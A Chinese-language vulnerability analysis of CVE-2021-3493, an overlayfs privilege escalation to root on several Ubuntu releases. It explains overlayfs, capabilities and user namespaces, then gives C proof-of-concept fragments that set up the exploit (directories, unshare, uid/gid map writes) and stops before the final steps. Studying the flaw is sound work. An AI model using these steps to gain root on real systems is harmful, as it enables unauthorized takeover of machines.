位置:首页 > 漏洞公告

CVE-2021-3493 内核overlayfs提权漏洞分析

2021-06-10 15:18:38 来源:
简介一、漏洞简介 漏洞背景linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。该漏洞NVD的打分
一、漏洞简介 漏洞背景

linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。

该漏洞NVD的打分为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,最终得分为7.8分(高危)。

漏洞影响范围为:

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

漏洞成因

linux内核代码允许低权限用户在使用unshare()函数创建的用户命名空间中挂载overlayfs文件系统。当使用setxattr()函数设置merged联合挂载目录中文件的security.capablility扩展属性时,根据overlayfs文件系统的特性,将实际修改init_user_ns下upper目录中对应文件的扩展属性,从而造成本地提权问题。

二、基本概念 2.1 Overlayfs

Overlayfs是一个面向Linux的文件系统服务,其实现一个面向其他类型文件系统(如ext4fs、ext3fs等)的联合挂载,而不直接参与磁盘空间结构的划分。于2014年被合并到Linux内核的3.18版本,目前功能已经稳定且被逐渐推广,并在docker容器技术中得到广泛的应用。

如图所示,Overlayfs由两个文件系统组合而成:一个upper文件系统和一个lower文件系统,两种文件系统联合挂载成为一个目录。upper目录只能有一个,而lower可以有多个。upper目录中的文件会覆盖lower中的同名文件,比如图中merged目录中的file3目录最终显示的是upper目录中的file3目录。当存在多个lower目录时,高级别lower目录中的文件也会覆盖低级别lower目录中的文件。

upper目录可读可写,图中file3、file4文件的修改会被映射到upper中,比如删除或者修改操作。而lower目录是只读目录,file1和file2的改动不会影响到lower目录中的真实文件。当删除文件file1时,系统会创建一个删除标记,而不会真正删除lower中的文件。当改写lower层的文件时,系统会将文件拷贝至upper目录中进行修改,并隐藏lower目录中的同名文件。

2.2 linux capabilities机制

Linux内核2.2引入了capabilities机制,并在后续使用中使用完善。该机制将root用户的权限细分为不同的领域,可以分别启用或禁用。在实际进行特权操作时,如果euid不是root,系统会校验该线程是否具有完成操作对应的capabilities特权。线程和文件均有capabilities的概念。

表格中列取了几个常见的capabilities作为例子。

capability 名称 功能描述 CAP_CHOWN 修改文件所有者的权限 CAP_KILL 允许对不属于自己的进程发送信号 CAP_SETFCAP 允许为文件设置任意的 capabilities CAP_SETUID 允许改变进程的 UID CAP_SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 2.2.1 线程的capabilities

每一个线程,具有3个capabilities的集合,分别是:

Permitted

Permitted集合定义了线程的特权上限,如果执行操作所需要的capability不在该集合中,那么该线程不会进行对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。

Inheritable

当执行exec()系统调用运行其他程序时,哪些特权能够被新线程继承capabilities。

Effective

内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。

2.2.2 文件的capabilities

文件的capabilities被记录在文件的拓展属性中。当某线程想修改这些扩展属性时,需要具有CAP_SETFCAP的capability。

Permitted

文件被执行时加入其线程的Permitted集合。

Inheritable

这个集合与线程的Inheritable集合的交集作为执行完exec后实际继承的capabilities。

Effective

如果设置开启,那么在运行后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。

ambient

在内核4.3后引入,用于补充Inheritable使用上的缺陷,ambien集合可以使用函数prctl修改。当程序由于SUID(SGID)bit位而转变UID(GID),或执行带有文件capabilities的程序时会导致该集合被清空

 

2.3 User namespace

User namespace 是 Linux 3.8 新增的一种 namespace,用于隔离安全相关的资源,包括 user IDs and group IDs,keys, 和 capabilities。同样一个用户的 user ID 和 group ID 在不同的 user namespace 中可以不一样(与 PID nanespace 类似)。换句话说,一个用户可以在一个 user namespace 中是普通用户,但在另一个 user namespace 中是超级用户。

系统启动时,就有一个默认的全局 init_user_ns,新创建一个 user namespace 会重新规划这个 ns 的 capability 能力,和这个 user namespace 父辈的 capability 能力无关。在新 user namespace 中 uid 0 等于 root 默认拥有所有 capability,普通用户的 capability 是在 execve() 时由 task->real_cred->cap_inheritable + file capability 综合而成。

 

三、漏洞分析 3.1 环境信息

系统版本:Ubuntu 18.04.5 LTS

内核版本:4.15.18+

内核编译环境:

gcc version 7.5.0

GNU Make 4.1

3.2 创建挂载目录

首先生成./poc文件夹,以及./poc/work、./poc/lower、./poc/upper、./poc/overlayfs等子文件夹,作为Overlayfs的挂载点。

#define DIR_WORK   "./poc/work" #define DIR_LOWER   "./poc/lower" #define DIR_UPPER   "./poc/upper" #define DIR_OVERLAY   "./poc/overlayfs" ​ static void xmkdir(const char *path, mode_t mode) { if (mkdir(path, mode) == -1 && errno != EEXIST) err(1, "mkdir %s", path); } xmkdir(DIR_BASE, 0777); xmkdir(DIR_WORK,  0777); xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777); xmkdir(DIR_OVERLAY, 0777); 3.2 创建user namespace及cred

调用unshare()函数创建新的user namespace,以获取挂载Overlayfs并进行逃逸的权限。注意内核需要开启相关参数支持user namespace隔离,/boot/cpnfig-generic配置文件中的CONFIG_NAMESPACES、CONFIG_USER_NS参数应为y。

if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) err(1, "unshare");

进入SyS_unshare()系统调用,调用内核unshare_userns()函数创建新的user namespace,以及对应的struct cred *cred结构体。根据user namespace的特性,此时会重新规划线程的capabilities。

int unshare_userns(unsigned long unshare_flags, struct cred **new_cred) { struct cred *cred; int err = -ENOMEM; if (!(unshare_flags & CLONE_NEWUSER)) return 0; cred = prepare_creds(); if (cred) { err = create_user_ns(cred); if (err) put_cred(cred); else *new_cred = cred; } return err; }

进入set_cred_user_ns()函数,将cap_effective以及cap_permitted设置为CAP_FULL_SET。

static void set_cred_user_ns(struct cred *cred, struct user_namespace *user_ns) { /* Start with the same capabilities as init but useless for doing * anything as the capabilities are bound to the new user namespace. */ cred->securebits = SECUREBITS_DEFAULT; cred->cap_inheritable = CAP_EMPTY_SET; cred->cap_permitted = CAP_FULL_SET; cred->cap_effective = CAP_FULL_SET; cred->cap_ambient = CAP_EMPTY_SET; cred->cap_bset = CAP_FULL_SET; #ifdef CONFIG_KEYS key_put(cred->request_key_auth); cred->request_key_auth = NULL; #endif /* tgcred will be cleared in our caller bc CLONE_THREAD won't be set */ cred->user_ns = user_ns; }

该内核函数调用栈打印如下。

 

打印的cred结构体中cap_permitted以及cap_effective的值如下。

 

cred->user_ns的值为0xffff8881b4b8f050,对应创建的ns。

 

接下来在用户态中调用xwritefile()函数,将/proc/self/setgroups文件的值写为deny,uid_map值写为0 1000 1以及gid_map的值写为0 1000 1,表示将当前uid=1000,guid=1000的test用户映射为namespace中的root用户。注意,Linx 3.19后的内核调用中需要将setgroups设置成deny,以禁用user namespace中的、setgroups()系统调用,才能更新gid_maps的值。否则修改会报write /proc/self/gid_map: Operation not permitted的错。

static void xwritefile(const char *path, const char *data) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "open %s", path); ssize_t len = (ssize_t) strlen(data); if (write(fd, data, len) != len) err(1, "write %s", path); close(fd); } ​ xwritefile("/proc/self/setgroups", "deny"); sprintf(buf, "0 %d 1", uid); xwritefile("/proc/self/uid_map", buf); sprintf(buf, "0 %d 1", gid); xwritefile("/proc/self/gid_map", buf);